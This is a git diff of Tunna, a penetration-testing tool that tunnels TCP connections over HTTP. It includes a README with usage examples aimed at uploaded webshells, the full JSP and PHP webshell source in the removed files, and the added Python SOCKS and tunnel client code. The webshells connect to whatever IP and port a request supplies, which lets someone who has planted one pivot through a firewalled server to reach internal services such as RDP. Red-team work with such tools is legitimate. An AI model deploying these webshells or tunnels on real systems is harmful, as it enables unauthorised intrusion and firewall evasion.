Port |-+ | | +--------v--------+ | + | +------^------+ | | | | + | | | | | | + | +----------------+ | | | | +----------------+ | + | |Local Client | | | | +--------> Remote Service | | + | |----------------| | | | |----------------| | + | |Connect to local| | | | |Connection | | + | |Socket | | | | |received from | | + | | +--------+ | | |localhost | | + | | | | | | | | + | | | | | | | | + | +----------------+ | | +----------------+ | + +-------------------------------------------+ +-------------------------------------------+ + + +SOCKS 4a Diagram: + + Incoming Connections Remote Services + +--------+ +--------+ + |L Port +----+ +------> R Port | + +--------+ | | +--------+ + | | + +--------+ | +------------+ +------------| | +--------+ + |L Port +----+------>| SOCKS 4a L |-------------------------->| SOCKS 4a R |---+------> R Port | + +--------+ | +------------+ +------------| | +--------+ + | | + +--------+ | | +--------+ + |L Port +----+ +------> R Port | + +--------+ +--------+ + +Every "L Port" is mapped to a "R Port" in the remote server + + +SUMMARY +======= + + TLDR: Tunnels TCP connections over HTTP + +In a fully firewalled (inbound and outbound connections restricted - except the webserver port) + +The webshell can be used to connect to any service on the remote host. +This would be a local connection on a local port at the remote host and *should* be allowed by the firewall. + +The webshell will read data from the service port wrap them over HTTP and send it as an HTTP response to the +local proxy. + +The local proxy will unwrap and write the data to it's local port where the client program would be connected. + +When the local proxy receives data on the local port, it will send them over to the webshell as an HTTP Post. + +The webshell will read the data from the HTTP Post and put them on the service port + +and repeat --^ + +Only the webserver port needs to be open (typically 80/443) +The whole communication (Externally) is done over the HTTP protocol + + +USAGE +====== + python proxy.py -u -l [options] + +Options +======= +--help, -h show this help message and exit +--url=URL, -u URL url of the remote webshell +--lport=LOCAL_PORT, -l LOCAL_PORT + local listening port +--verbose, -v Verbose (outputs packet size) +--buffer=BUFFERSIZE, -b BUFFERSIZE* + HTTP request size (some webshels have limitations on + the size) + +No SOCKS Options +---------------- +Options are ignored if SOCKS proxy is used + +--no-socks, -n Do not use Socks Proxy +--rport=REMOTE_PORT, -r REMOTE_PORT + remote port of service for the webshell to connect to +--addr=REMOTE_IP, -a REMOTE_IP + address for remote webshell to connect to (default = + 127.0.0.1) + +Upstream Proxy Options +---------------------- +Tunnel connection through a local Proxy + +--up-proxy=UPPROXY, -x UPPROXY + Upstream proxy (http://proxyserver.com:3128) +--auth, -A Upstream proxy requires authentication + +Advanced Options +---------------- +--ping-interval=PING_DELAY, -q PING_DELAY + webshprx pinging thread interval (default = 0.5) +--start-ping, -s Start the pinging thread first - some services send + data first (eg. SSH) + + +* See limitations + +example usage: + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # This connection will be wrapped over HTTP and unwrapped at the remote server + + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -x https://192.168.1.100:3128 -A -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # It will connect through a Local Proxy (https://192.168.1.100:3128) that requires authentication + # to the remote Tunna webshell + + python proxy.py -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v --no-socks + + # This will initiate a connection between the webshell and Remote host RDP (3389) service + # The RDP client can connect on localhost port 4444 + # This connection will be wrapped over HTTP + + + + +Prerequisites +============= + + The ability to upload a webshell on the remote server + + +LIMITATIONS / KNOWN BUGS / HACKS +================================ + + This is a POC code and might cause DoS of the server. + All efforts to clean up after execution or on error have been made (no promises) + + Based on local tests: + * JSP buffer needs to be limited (buffer option): + 4096 worked in Linux Apache Tomcat + 1024 worked in XAMPP Apache Tomcat (slow) + * More than that created problems with bytes missing at the remote socket + eg: ruby proxy.rb -u http://10.3.3.1/conn.jsp -l 4444 -r 3389 -b 1024 -v + + * Sockets not enabled by default php windows (IIS + PHP) + + * Return cariages on webshells (outside the code): + get sent on responses / get written on local socket --> corrupt the packets + + * PHP webshell for windows: the loop function DoS'es the remote socket: + sleep function added -> works but a bit slow + * PHP webshell needs new line characters removed at the end of the file (after "?>") + as these will get send in every response and confuse Tunna + + +FILES +===== + + Webshells: + conn.jsp Tested on Apache Tomcat (windows + linux) + conn.aspx Tested on IIS 6+8 (windows server 2003/2012) + conn.php Tested on LAMP + XAMPP + IIS (windows + linux) + + WebServer: + webserver.py Tested with Python 2.6.5 + + Proxies: + proxy.py Tested with Python 2.6.5 + + +Technical Details +================= + + Architecture descisions + ----------------------- + Data is sent raw in the HTTP Post Body (no post variable) + + Instructions / configuration is sent to the webshell as URL parameters (HTTP Get) + Data is sent in the HTTP body (HTTP Post) + + Websockets not used: Not supported by default by most of webservers + Asyncronous HTTP responses not really possible + Proxy queries the server constantly (default 0.5 seconds) + + + INITIATION PHASE + ---------------- + +1st packet initiates a session with the webshell - gets a cookie back + eg: http://webserver/conn.ext?proxy + +2nd packet sends connection configuration options to the webshell + eg: http://webserver/conn.ext?proxy&port=4444&ip=127.0.0.1 + + IP and port for the webshell to connect to + This is a threaded request: + In php this request will go into an infinate loop + to keep the webshell socket connection alive + In other webshells [OK] is received back + + TUNNA CLIENT + ------------ +A local socket is going to get created where the client program is going to connect to +Once the client is connected the pinging thread is initiated and execution starts. +Any data on the socket (from the client) get read and get sent as a HTTP Post request +Any data on the webshell socket get sent as a response to the POST request + + PINGING THREAD + -------------- +Because HTTP responses cannot be asyncronous. +This thread will do HTTP Get requests on the webshell based on an interval (default 0.5 sec) +If the webshell has data to send, it will (also) send it as a reply to this request +Otherwise it sends an empty response + +In general: + Data from the local proxy get send with HTTP Post + There are Get requests every 0.5 sec to query the webshell for data + If there is data on the webshell side get send over as a response to one of these requests + + WEBSHELL + -------- +The webshell connects to a socket on the local or a remote host. +Any data written on the socket get sent back to the proxy as a reply to a request (POST/GET) +Any data received with a post get written to the socket. + + NOTES + ----- +All requests need to have the URL parameter "proxy" set to be handled by the webshell + (http://webserver/conn.ext?proxy) + + AT EXIT / AT ERROR + ------------------ +Kills all threads and closes local socket +Sends proxy&close to webshell: + Kills remote threads and closes socket + + SOCKS + ----- +The SOCKS support is an addon module for Tunna. Locally is a seperate thread that handles the connection +requests and traffic adds a header that specifies the port and the size of the packet and forwards it to +Tunna. Tunna sends it over to the remote webserver, removes the HTTP headers and forwards the packet to +the remote SOCKS proxy. The remote SOCKS proxy initiates the connection and mapps the received port to +the local port. If the remote SOCKS proxy receives data from the service, it looks at the mapping table +and finds the port it needs to respond to, adds the port as a header so the local SOCKS proxy will know where +to forward the data. Any traffic from the received port will be forwarded to the local port and vice versa. + + +COPYRIGHT & DISCLAIMER +====================== + +Tunna, TCP Tunneling Over HTTP +Nikos Vassakis +Copyright (C) 2014 SECFORCE. + +This tool is for legal purposes only. + +This program is free software: you can redistribute it and/or modify it +under the terms of the GNU General Public License as published by the +Free Software Foundation, either version 3 of the License, or (at your +option) any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +Public License for more details. + +You should have received a copy of the GNU General Public License along +with this program. If not, see . diff --git a/bin/proxy.exe b/bin/proxy.exe new file mode 100755 index 0000000..aa2cb65 Binary files /dev/null and b/bin/proxy.exe differ diff --git a/bin/webserver.exe b/bin/webserver.exe new file mode 100755 index 0000000..9c40946 Binary files /dev/null and b/bin/webserver.exe differ diff --git a/conn.aspx b/conn.aspx deleted file mode 100644 index d5809c3..0000000 --- a/conn.aspx +++ /dev/null @@ -1,143 +0,0 @@ -<%@ Page Language="C#" Debug="true" ENABLESESSIONSTATE = true ValidateRequest="false" %> -<%@ Import Namespace="System" %> -<%@ Import Namespace="System.IO" %> -<%@ Import Namespace="System.Web" %> -<%@ Import Namespace="System.Web.SessionState" %> -<%@ Import Namespace="System.Web.UI" %> -<%@ Import Namespace="System.Web.Configuration" %> -<%@ Import Namespace="System.Threading" %> -<%@ Import Namespace="System.Net" %> -<%@ Import Namespace="System.Net.Sockets" %> -<%@ Import Namespace="System.Text" %> - - diff --git a/conn.jsp b/conn.jsp deleted file mode 100644 index a6098b8..0000000 --- a/conn.jsp +++ /dev/null @@ -1,141 +0,0 @@ -<%@ page import="java.io.*, java.net.*, java.nio.*, java.nio.channels.*" trimDirectiveWhitespaces="true" %> -<%! -// -//Tunna JSP webshell v0.1 (c) 2013 by Nikos Vassakis -//http://www.secforce.com / nikos.vassakis secforce.com -// -public class SockException extends Exception{ //Custom exception class for socket exceptions - public SockException(String message) { - super(message); - } - public SockException(String message, Throwable throwable) { - super(message, throwable); - } -} -public SocketChannel connect(String ip, int port) throws SockException{ - SocketChannel socket; - boolean established; - try{ - socket = SocketChannel.open(); //Create socket - }catch(IOException e){ - throw new SockException("[SERVER] Unable to create Socket"); - } - try{ - established = socket.connect(new InetSocketAddress(ip, port)); //Connect to socket - }catch( IOException e){ - throw new SockException("[Server] Unable to Connect"); - } - try{ - socket.configureBlocking(false); //Socket in non-blocking mode because of the consecutive HTTP requests - }catch( IOException e){ - throw new SockException("[Server] Unable to set socket to non blocking mode"); - } - if (!established){ - try{ - while(! socket.finishConnect() ){ - //wait for connection - } - } - catch( IOException e){ - throw new SockException("[Server] Unable connect to socket"); - } - } - return socket; -} -%> -<% -SocketChannel socket=null; -OutputStream os = response.getOutputStream(); -if(request.getParameter("proxy") == "" ){ - //Irrelevant: in windows after 1024, bytes are not written to socket - // in linux same happend after 4096 - int bufferSize = 8192; //4096 //8192 - if (request.getParameter("close") == ""){ //if url parameter close is received: close socket / invalidate session - session.setAttribute("running","-1"); - socket=(SocketChannel)session.getAttribute("socket"); //get socket from session - if (socket != null){ - socket.close(); - } - os.write("[Server] Closing the connection".getBytes()); - os.flush(); - os.close(); - session.invalidate(); //invalidate session - return; - } - if(request.getParameter("port") != null){ //if port is specified connects to that port - session.setAttribute("port", request.getParameter("port")); - } - if(request.getParameter("ip") != null){ //if ip is specified connects to that ip - session.setAttribute("ip", request.getParameter("ip")); - } -/* SESSION */ - if(session.isNew()){ //1st request: initiate session - session.setAttribute("running", "0"); - os.write("[Server] All good to go, ensure the listener is working ;-)\n".getBytes()); - os.flush(); - os.close();// *important* to ensure no more jsp output - return; - } - else{ - if (session.getAttribute("running") == "0" ){ //2nd request: get configuration options for socket - String ip = (String) session.getAttribute("ip"); - int port = Integer.parseInt((String) session.getAttribute("port")); - try{ - socket=connect(ip, port); - } - catch(SockException e){ - os.write(e.getMessage().getBytes()); - os.flush(); - os.close(); - return; - } - session.setAttribute("socket",socket); - session.setAttribute("running", "1"); - os.write("[OK]".getBytes()); //Send [OK] back - os.flush(); - os.close();// *important* to ensure no more jsp output - return; - } - else{ - response.setContentType("application/oclet-stream"); - //Allocate buffers for socket IO - ByteBuffer dataIn = ByteBuffer.allocate(bufferSize); - ByteBuffer dataOut = ByteBuffer.allocate(bufferSize); - - try{ - socket=(SocketChannel)session.getAttribute("socket"); //Get socket from session - }catch(Exception e){ - os.write("[Server] Socket null pointer exception".getBytes()); - os.flush(); - os.close(); - return; - } - //Read data from request and write to socket - InputStream is = request.getInputStream(); - byte[] postBuff = new byte[bufferSize]; - int postBytesRead = is.read(postBuff); - if (postBytesRead > 0){ - dataIn = ByteBuffer.wrap(postBuff,0,postBytesRead); - int bytesWritten = socket.write(dataIn); - dataIn.clear(); - } - //Read Data from socket and write to response - int SocketBytesRead = socket.read(dataOut); - if(SocketBytesRead > 0){ - byte[] respBuff = dataOut.array(); - os.write(respBuff,0,SocketBytesRead); - os.flush(); - os.close(); - dataOut.clear(); - return; - } - else{ - os.write("".getBytes()); //No data on socket: send nothing back - os.flush(); - os.close(); - return; - } - } - } -} -%> diff --git a/conn.php b/conn.php deleted file mode 100755 index 47d3b59..0000000 --- a/conn.php +++ /dev/null @@ -1,147 +0,0 @@ - secforce.com -// -if(!empty($_GET)){ - if(isset($_GET["proxy"])){ //if url parameter proxy is set - class messenger{ //handles the communication between webserver and socket - public $address = ""; - public $port; - public $socket; - public $met_data = ""; - public $handler_data = ""; - - function __construct($port,$ip){ //Initialises socket values - if ($port != ""){ - $this->port=$port; - } - else{ - $this->port=4444; - } - if ($ip != ""){ - $this->address=$ip; - } - else{ - $this->address='127.0.0.1'; - } - $this->connect_to_server(); - $this->run_loop(); - } - - public function __destruct() //Close the socket - { - socket_close($this->socket); - } - - function connect_to_server() //Create and commect to socket - { - /* Create a TCP/IP socket. */ - $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); - if ($this->socket === false) { exit ("[Server] Unable to create socket"); } - - $result = @socket_connect($this->socket, $this->address, $this->port); - - if ($result === false) { exit ("[Server] Unable to connect to socket"); } - - socket_set_nonblock($this->socket); //Socket in non-blocking mode because of the consecutive HTTP requests - - return $this->socket; - } - /* - * Received data is written on the SESSION['handler_data'] - * There's a loop function (run_loop) that checks the SESSION variable for data and writes them to the socket - * If there's data to be read from the socket the loop function puts them at the SESSION variable met_data - * - * At every request if there is data to be sent back they get send as a response - * - */ - public function update_session_data() - { - @session_start(); - - $_SESSION['met_data'] .= $this->met_data; - $this->handler_data .= $_SESSION['handler_data']; - $_SESSION['handler_data'] = ""; - session_write_close(); - $this->met_data=""; - } - - function run_loop(){ //This will stall the thread / request - $i=0; - while($_SESSION['running'] != -1){ - #read from local socket and put on session variable - while ($out = socket_read($this->socket, 8192)) { - if($out === false){ exit("[Server] Unable to read from local socket"); } - $this->met_data .= $out; - } - #If data on SESSION variable write data to local socket - if ($this->handler_data != ""){ - $in=socket_write($this->socket, $this->handler_data, strlen($this->handler_data)); - if($in === false){ exit("[Server] Unable to write to local socket"); } - $this->handler_data = ""; - } - $this->update_session_data(); - if (!stristr(PHP_OS, "linux")){sleep(1);} //added to work with apache/IIS on windows otherwise the consecutive reads DoS the socket - } - } - } - //Report all errors - error_reporting(E_ALL); - ini_set( 'display_errors','1'); - set_time_limit(0); //Time limit for request set to infinate for the loop function - $ip=""; - $port=""; - - if(session_start() === false){exit("[Server] Couldnt Start Session");} - - if(isset($_GET["close"])){ //if url parameter close is received the connection is closed - $_SESSION['running'] = -1; - echo "[Server] Closing the connection and killing the handler thread"; - exit(); - } - if(isset($_GET["port"])){ //if port is specified connects to that port - $port=$_GET["port"]; - } - if(isset($_GET["ip"])){ //if ip is specified connects to that ip - $ip=$_GET["ip"]; - } - - if (!isset($_SESSION['running'])) { //initiate the session - $_SESSION['running'] = 0; - $_SESSION['met_data'] = ""; - $_SESSION['handler_data'] = ""; - //Closing session_write otherwise next attempt to write to session will block - session_write_close(); - echo "[Server] All good to go, ensure the listener is working ;-)"; - } - else{ - if ($_SESSION['running'] == 0){ - $_SESSION['running'] = 1; - session_write_close(); - /* - * This will create a stalling thread for the loop function - * that reads and writes data from the socket to the response - * and from the request body to the socket - * - */ - $mymessenger = new messenger($port,$ip); - } - else{ - /* If session and socket are initialised - * Read data from request body and update the SESSION var - * - * If data is on the SESSION var send them with the response - */ - header('Content-Type: application/octet-stream'); - #write to buffer for server - $_SESSION['handler_data'] .= file_get_contents("compress.zlib://php://input"); - #read buffer for client - echo $_SESSION['met_data']; - $_SESSION['met_data'] = ""; //clear variable - session_write_close(); - } - } - } -} -?> diff --git a/lib/SocksClient.py b/lib/SocksClient.py new file mode 100644 index 0000000..8456aa8 --- /dev/null +++ b/lib/SocksClient.py @@ -0,0 +1,152 @@ +# _____ _ _____ _ _ _ +# / ____| | | / ____| (_) | | +# | (___ ___ ___| | _____| | | |_ ___ _ __ | |_ +# \___ \ / _ \ / __| |/ / __| | | | |/ _ \ '_ \| __| +# ____) | (_) | (__| <\__ \ |____| | | __/ | | | |_ +# |_____/ \___/ \___|_|\_\___/\_____|_|_|\___|_| |_|\__| +# +#SocksClient v1.1a, for Proxying TCP connections by Nikos Vassakis +#http://www.secforce.com / nikos.vassakis secforce.com +############################################################### + +from time import time, sleep, asctime +import socket +import select +import sys +import time +import getopt, struct +import threading, thread + +from settings import SocksServer_Defaults as Defaults + +DEBUG=0 + +class SocksClient(): #TODO init:options + #bufferSizeSize = size-4 - 4 bytes used for header + def __init__(self, portnumber, hostname='', bufferSize=Defaults['buffersize'], backlog=Defaults['backlog']): + self.bufferSize=bufferSize-4 + self.error=0 + self.backlog = backlog + self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.server.bind((hostname,portnumber)) + self.server.listen(self.backlog) + + self.debug = DEBUG + + print "[S] ",asctime(), "Server Starts - %s:%s" % ((hostname if hostname!='' else 'localhost'), portnumber) + + self.wrapper_channel = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.wrapper_channel.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + + def connect(self,TunnaPort, event=None): + if event: + event.wait() + try: + self.wrapper_channel.connect(('localhost', TunnaPort)) + success=True + except Exception, e: + print 'something\'s wrong Exception type is %s' % `e` + sys.exit() + + self.iserver(self.server, self.wrapper_channel) + + self.server.close() + self.wrapper_channel.close() + + def sockReceive(self,s,size): + try: + data = s.recv(size) + while len(data) < size and data: + if self.debug >1: print len(data) , size + data += s.recv((size-len(data))) + return data + except socket.error as e: #Socket error + self.error=self.error+1 + self.printError(e) + if self.error > 20 : sys.exit() + pass + + def printError(self,e): + print '\033[91m',e,'\033[0m' + + def srcPort(self,s): + return s.getpeername()[1] + + def iserver(self,local_proxy_server,wrapper_channel): #add blocking to wrapper_channel + debug = DEBUG + sockets = [local_proxy_server,wrapper_channel] + running = 1 + SocketDict = {} + + #Multiple input -> will get sent over http 1st byte of packet will be socket identifier + while running: + inputready,outputready,exceptready = select.select(sockets,[],[]) + + for s in inputready: + try: + if debug > 1: print "[+] Open Sockets: ",len(sockets)-1 + if s == local_proxy_server: # Accept client connections + # handle the server socket + client, address = self.server.accept() + SocketDict[self.srcPort(client)]=client + sockets.append(client) + if debug > 1: print "Accepted Client lSrc: "+str(self.srcPort(client)) + + elif s == wrapper_channel: # Receive response + head = self.sockReceive(s,4) + try: + (lSrc,size) = struct.unpack('!HH',head) + except struct.error as e: + pass + + if debug > 2: print "< R received ", "lSrc: ", lSrc, "size: ", size + + if size > 0: + data = self.sockReceive(s,size) + + if lSrc in SocketDict: + if debug > 2: print "\t relaying to lSrc: ", lSrc, 'len', len(data) + SocketDict[lSrc].send(data) + else: + if debug > 2: print "\t Received response for unknown port " , str(lSrc) , len(data) + else: + if debug > 2: print "\t Closing Socket: ", lSrc + SocketDict[lSrc].close() + sockets.remove(SocketDict[lSrc]) + del SocketDict[lSrc] + + else: # handle all other sockets - lSrc + lSrc=self.srcPort(s) + data = s.recv(self.bufferSize) + + if debug > 2: print "> L Received Data (client -",lSrc,") :" , len(data) + if len(data)>0 and data: + data = struct.pack('!HH', self.srcPort(s),len(data)) + data + if debug > 2: print "\t sending: ",len(data),"\tstruct:", struct.pack('!HH', self.srcPort(s),len(data)) + wrapper_channel.send(data) + if len(data)==0: + if debug > 2: print "\t No data: Closing Socket: ", self.srcPort(s) + data = struct.pack('!HH', self.srcPort(s),len(data)) + if debug > 2: print "\t sending: ",len(data),"\tstruct:", struct.pack('!HH', self.srcPort(s),len(data)) + wrapper_channel.send(data) + if s in sockets: + del SocketDict[self.srcPort(s)] + sockets.remove(s) + s.close() + except socket.error, (errno, e):# socket.error, KeyError: + if errno != 107: + self.printError(e) + if errno == 107: + pass + try: + del SocketDict[self.srcPort(s)] + sockets.remove(s) + s.close() + except: + pass + pass + except (KeyError, struct.error) as e: + self.printError(e) + pass + server.close() diff --git a/lib/SocksClient.pyc b/lib/SocksClient.pyc new file mode 100644 index 0000000..f53bfc4 Binary files /dev/null and b/lib/SocksClient.pyc differ diff --git a/lib/SocksServer.py b/lib/SocksServer.py new file mode 100644 index 0000000..adcb6da --- /dev/null +++ b/lib/SocksServer.py @@ -0,0 +1,232 @@ +import time +import socket +import select +import sys +import time +import struct +import threading, thread + +from settings import SocksServer_Defaults as Defaults + +DEBUG=2 + +class SocksServer(): + #bufferSizeSize = size-4 - 4 bytes used for header + def __init__(self, socket, event=threading.Event(), bufferSize=Defaults['buffersize']): + self.debug=DEBUG + self.bufferSize=bufferSize-4 + self.timeout=0.2 #XXX:For Speed - requests are threaded now but no real gain + + self.lock = threading.Lock() + self.server=socket + self.event=event + + print "[S]",time.asctime(), "SOCKS Server Starts - %s:%s" % (self.server.getsockname()[0], self.server.getsockname()[1]) + + def run(self): + self.event.set() #all done + self.server.listen(50) + wrapper_channel, address = self.server.accept() + self.iserver(wrapper_channel) + wrapper_channel.close() + + def sockReceive(self,s,size): #Receive until we have the whole packet + try: + data = s.recv(size) + while len(data) < size and data: + if self.debug > 2: print len(data) , size + data += s.recv((size-len(data))) + return data + except socket.error as e: #Socket error + self.printError(e) + pass + + def printError(self,e): #Red Print + print '\033[91m',e,sys.exc_info()[0],'\033[0m' + + def parse_socks(self,data): #Parses the Socks4a Headder + #Based on Socks4a RFC + + user_idx = data[8:].find('\x00') + fmt = '!BBH4s%ss' % (user_idx) + #print " Data: \\x" + ('\\x'.join(x.encode('hex') for x in data)),"fmt",fmt + try: + (version,command,port,ip,user) = struct.unpack(fmt,data[:8+user_idx]) + except struct.error as e: + self.printError(e) + if self.debug >2: print data + if self.debug >2: print " Data: \\x" + ('\\x'.join(x.encode('hex') for x in data)) + return None + + if version != 4: + print "[-] Unsupported version: " + str(version) + return None + + if command != 1: + print "[-] Unsupported command: " + str(command) + return None + #Get IP + if ip[:3] == '\x00\x00\x00' and ip[3:] != '\x00': #SOCKS4a + #print data[8+1+user_idx:].find('\x00') + host = data[8+user_idx+1:8+user_idx+1+data[8+user_idx+1:].find('\x00')] + else: + host = socket.inet_ntoa(ip) + + return (version,command,port,user,host) + + def establishConnection(self,s,data,sockets,SocketDict,inSrcPort): + granted = '\x00\x5a\x00\x00\x00\x00\x00\x00' #Socks request granted response + rejected = '\x00\x5b\x00\x00\x00\x00\x00\x00' #Socks request rejected response + + try: + #Parse data + (version,command,port,user,host) = self.parse_socks(data) + + if self.debug > 2: print (version,command,port,user,host) + + #Connect to socket + outSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + outSock.settimeout(self.timeout) + outSock.connect((host, port)) + + if self.debug >4: print "[T] Establish connection locking 1" + + self.lock.acquire() + try: + sockets.append(outSock) + SocketDict[self.srcPort(outSock)] = inSrcPort,outSock #Link incoming port to created socket + s.send(struct.pack('!HH',inSrcPort,len(granted))+granted) #Send connection established responce + finally: + if self.debug >4: print "[T] Establish connection releasing 1" + self.lock.release() + + if self.debug > 0: print "[S] Connection to "+host+" Established" + except (TypeError,socket.error, KeyError) as e : + print "[-] Socks: Rejected", e + + if self.debug >4: print "[T] Establish connection locking 2" + self.lock.acquire() + try: + s.send(struct.pack('!HH',inSrcPort,len(rejected))+rejected) #Send connection rejected responce (port closed) + finally: + if self.debug >4: print "[T] Establish connection releasing 2" + self.lock.release() + pass + + def srcPort(self,s): + return s.getsockname()[1] + + def findISocket(self, port, dictionary): + for (p, sock) in dictionary.itervalues(): + if p == port: #If inSrcPort number in list redirect to socket + if self.debug > 3: print "\t (Found -",self.srcPort(sock),") -Redirecting-" + return sock + else: + return False + + def deleteISocket(self, socket,dictionary,sockets): + del dictionary[self.srcPort(socket)] + sockets.remove(socket) + + def iserver(self, wrapper_channel): + sockets = [wrapper_channel] + self.sockets=sockets + running = 1 + SocketDict = {} + debug=DEBUG + + while running: + inputready,outputready,exceptready = select.select(sockets,[],[]) + for s in inputready: + try: + if debug > 2: print "[+] Open Sockets: ",len(sockets) + if s == wrapper_channel: # handle the input - main - socket + + head = self.sockReceive(s,4) #Tunna Head: First 4 bytes=incoming port and size of packet + (inSrcPort,size) = struct.unpack('!HH',head) + if debug > 3: print "< L Received: ", "inSrcPort: ", inSrcPort, "size: ", size,"\n\t", struct.unpack('!HH',head) + + if size > 0: + data = self.sockReceive(s,size) + outSock=self.findISocket(inSrcPort,SocketDict) + if outSock: + outSock.send(data) + else: # In socket not in list - Try Socks + if debug > 4: print "[D] Starting Connection Thread" + Thread = threading.Thread( + target=self.establishConnection(s,data,sockets,SocketDict,inSrcPort) + ) + #self.establishConnection(s,data,sockets,SocketDict,inSrcPort) + else: #inSrcPort send no data - Port Closed + if debug > 3: print "\t Close Socket: ", inSrcPort + + outSock=self.findISocket(inSrcPort,SocketDict) + if outSock: + self.lock.acquire() + try: + self.deleteISocket(outSock,SocketDict,sockets) + finally: + self.lock.release() + outSock.close() + break + else: # Input socket not in list ? + if debug > 3: print "[E] Received empty & socket not in list: ", inSrcPort + else: # Other sockets (outSockets) + data = s.recv(self.bufferSize) + if debug > 3: print "> R Received: Data (client -",self.srcPort(s),") :" , len(data) + + if data: + + if debug > 3: print "\t sending to:", SocketDict[self.srcPort(s)][0],"len", len(data) + if debug >4: print "[T] Write to channel locking 1" + + self.lock.acquire() + try: + wrapper_channel.send((struct.pack('!HH',SocketDict[self.srcPort(s)][0],len(data))+data)) + finally: + if debug >4: print "[T] Write to channel releasing 1" + self.lock.release() + + if len(data)==0: + if debug > 3: print "\tClosing port: ", SocketDict[self.srcPort(s)][0],'len:', len(data),"Local Port:", self.srcPort(s) + + if debug >4: print "[T] Write to channel locking 2" + self.lock.acquire() + try: + wrapper_channel.send((struct.pack('!HH',SocketDict[self.srcPort(s)][0],len(data)))) #send empty to lSrc will close the socket on the other end + except (TypeError,socket.error, KeyError) as e : + self.printError(e) + pass + finally: + if debug >4: print "[T] Write to channel releasing 2" + self.lock.release() + + self.lock.acquire() + try: + self.deleteISocket(s,SocketDict,sockets) + finally: + self.lock.release() + + s.close() + except struct.error as e: + print "[-] Received malformed packet: Closing Socks Proxy" + sys.exit() + except socket.error as e: #Kill misbehaving socket + self.printError(e) + try: + self.lock.acquire() + try: + self.deleteISocket(s,SocketDict,sockets) + finally: + self.lock.release() + s.close() + except: + pass + pass + wrapper_channel.close() + + def __del__(self): + if hasattr(self,"sockets"): + for s in self.sockets: + s.close() + diff --git a/lib/TunnaClient.py b/lib/TunnaClient.py new file mode 100644 index 0000000..c8372ff --- /dev/null +++ b/lib/TunnaClient.py @@ -0,0 +1,320 @@ +#Tunna v1.1a +import select +import urllib2 +import cookielib +import gzip, zlib, StringIO +from time import time, sleep, asctime +import threading, thread +import socket +import getopt, sys, os +import random,string + +from SocksClient import SocksClient + +DEBUG=0 + +class TunnaClient(): + def __init__(self,options): + self.options=options + self.url = options['url']+"?proxy" + self.local_port = options['local_port'] + remote_port = options['remote_port'] + self.bufferSize = options['bufferSize'] + self.penalty=0 + self.ptc=threading.Condition() #PingingThread wait for condition + #init options + remote_ip = options['remote_ip'] + self.ping_delay = options['ping_delay'] + self.start_p_thread = options['start_p_thread'] + self.verbose = options['verbose'] + try: + #init tunnel + self.http=self.HTTPwrapper(self.url,self.options) + self.mutex_http_req = threading.Lock() + pings=0 + except Exception, e: + print "[-]",e + print "[-] Error Setting Up Tunnel" + raise + sleep(1) + + def init_ping_thread(self,start=False): #Initialise thread + self.pt = threading.Thread(name='ping', target=self.Pinging_Thread, args=()) + self.pt.setDaemon(1) #will exit if main exits + if start: + self.start_p_thread = True + self.pt.start() + + def Pinging_Thread(self): + print "[+] Starting Ping thread" + #self.ptc=threading.Condition() + wait=True + p=0.5 + while 1: #loop forever + if wait: + self.ptc.acquire() + self.ptc.wait(self.ping_delay+self.penalty) #send ping to server interval + penalty + self.ptc.release() + + self.mutex_http_req.acquire() #Ensure that the other thread is not making a request at this time + try: + resp_data=self.http.HTTPreq(self.url,"") #Read response + if self.verbose: self.http.v_print(pings_n=1) + if self.penalty<60: self.penalty+=p #Don't wait more than a minute + + if resp_data: #If response had data write them to socket + self.penalty=0 + if self.verbose: self.http.v_print(received_d_pt=len(resp_data)) + self.TunnaSocket.send(resp_data) #write to socket + resp_data="" #clear data + wait=False #If data received don't wait + else: + wait=True + except: + self.TunnaSocket.close() + thread.exit() + finally: + self.mutex_http_req.release() + print "[-] Pinging Thread Exited" + #Unrecoverable + thread.interrupt_main() #Interupt main thread -> exits + + def startIfProxy(self): + forceProxy=True + print "[+] Checking for proxy:",self.http.hasProxy + if self.http.hasProxy and self.options['useSocks']: + #If has proxy bind Tunna to random port & Proxy to Local_port + self.event=threading.Event() #Receives Event when SocksClient is ready + self.event.clear() + + self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.server.bind((self.options['bind'],0)) + + print "[+] Starting Socket Server" + S=SocksClient(self.local_port) + + SocksThread = threading.Thread(name='SocksThread', target=S.connect, args=(self.server.getsockname()[1],self.event)) + SocksThread.setDaemon(1) #will exit if main exits + SocksThread.start() + else: + #Else bind Tunna to local_port + self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.server.bind((self.options['bind'],self.local_port)) + + def run(self): + self.data='' + self.startIfProxy() + sockets = [self.server] + + if hasattr(self, 'event'): + self.event.set() + self.server.listen(0) + + while True: + inputready,outputready,exceptready = select.select(sockets,[],[]) + + for s in inputready: + if s == self.server: # Accept client connections + if hasattr(self, 'TunnaSocket'): # Only TunnaClient Should connect to the SocksClient + t,a= self.server.accept() + t.close # Drop the connection + else: + self.TunnaSocket, address = self.server.accept() + self.init_ping_thread(self.start_p_thread) + print "[T] Connected To Socks: ", self.TunnaSocket.getpeername() + sockets.append(self.TunnaSocket) + + elif s == self.TunnaSocket: # Receive response + self.data = self.TunnaSocket.recv(self.bufferSize) #Read socket + if len(self.data)==0: + print "[-] Client Disconnected" + self.TunnaSocket.close() + sockets.remove(self.TunnaSocket) + self.handle_close() + + if self.data: #If data send them over HTTP (post) + self.mutex_http_req.acquire() #Ensure that the other thread is not making a request at this time + + if self.start_p_thread == False: #Starts pinging thread (Will only run after first data is read from socket) + self.start_p_thread = True + self.pt.start() + + try: + if self.verbose: 